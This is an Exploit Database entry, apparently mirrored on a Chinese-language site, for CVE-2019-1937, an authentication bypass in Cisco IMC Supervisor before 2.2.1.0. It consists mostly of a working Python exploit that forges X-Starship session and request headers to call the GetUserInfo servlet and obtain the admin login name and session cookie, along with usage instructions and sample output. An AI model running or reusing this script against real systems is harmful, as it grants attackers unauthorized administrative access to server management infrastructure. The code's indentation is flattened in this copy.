Cisco UCS-IMC Supervisor 2.2.0.0 – Authentication Bypass

• Exploit Database
• 40 阅读

• 作者： Fatih Sencer
  日期： 2023-07-15
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/51589/

• [+] Exploit Title: Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass
  [+] Cisco IMC Supervisor - < 2.2.1.0
  [+] Date: 08/21/2019
  [+] Affected Component: /app/ui/ClientServlet?apiName=GetUserInfo
  [+] Vendor: https://www.cisco.com/c/en/us/products/servers-unified-computing/integrated-management-controller-imc-supervisor/index.html
  [+] Vulnerability Discovery : Pedro Ribeiro
  [+] Exploit Author: Fatih Sencer
  [+] CVE: CVE-2019-1937
  ----------------------------------------------------
  
  Usage:
  
  ./python3 CiscoIMC-Bypass.py -u host
  
  [+] Target https://xxxxxx.com
  [+] Target OK
  [+] Exploit Succes
  [+] Login name : admin
  [+] Cookie : REACTED
  
  """
  
  import argparse,requests,warnings,base64,json,random,string
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
  
  warnings.simplefilter('ignore',InsecureRequestWarning)
  
  
  def init():
  parser = argparse.ArgumentParser(description='Cisco IMC Supervisor / Authentication Bypass')
  parser.add_argument('-u','--host',help='Host', type=str, required=True)
  args = parser.parse_args()
  exploit(args)
  
  def exploit(args):
  session = requests.Session()
  headers = {
  "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4)",
  "X-Requested-With": "XMLHttpRequest",
  "Referer":"https://{}/".format(args.host),
  "X-Starship-UserSession-Key": ''.join(random.choices(string.ascii_uppercase + string.digits, k=10)),
  "X-Starship-Request-Key": ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
  }
  target = "https://{}/app/ui/ClientServlet?apiName=GetUserInfo".format(args.host)
  print("[+] Target {}".format(args.host))
  
  exp_send = session.get(target, headers=headers, verify=False, timeout=10)
  
  if exp_send.status_code == 200:
  print("[+] Target OK")
  body_data = json.loads(exp_send.text)
  if not (body_data.get('loginName') is None):
  print("[+] Exploit Succes")
  print("[+] Login name : {}".format(body_data.get('loginName')))
  print("[+] Cookie : {}".format(session.cookies.get_dict()))
  else:
  print("[-] Exploit Failed")
  
  else:
  print("[-] N/A")
  exit()
  
  if __name__ == "__main__":
  init()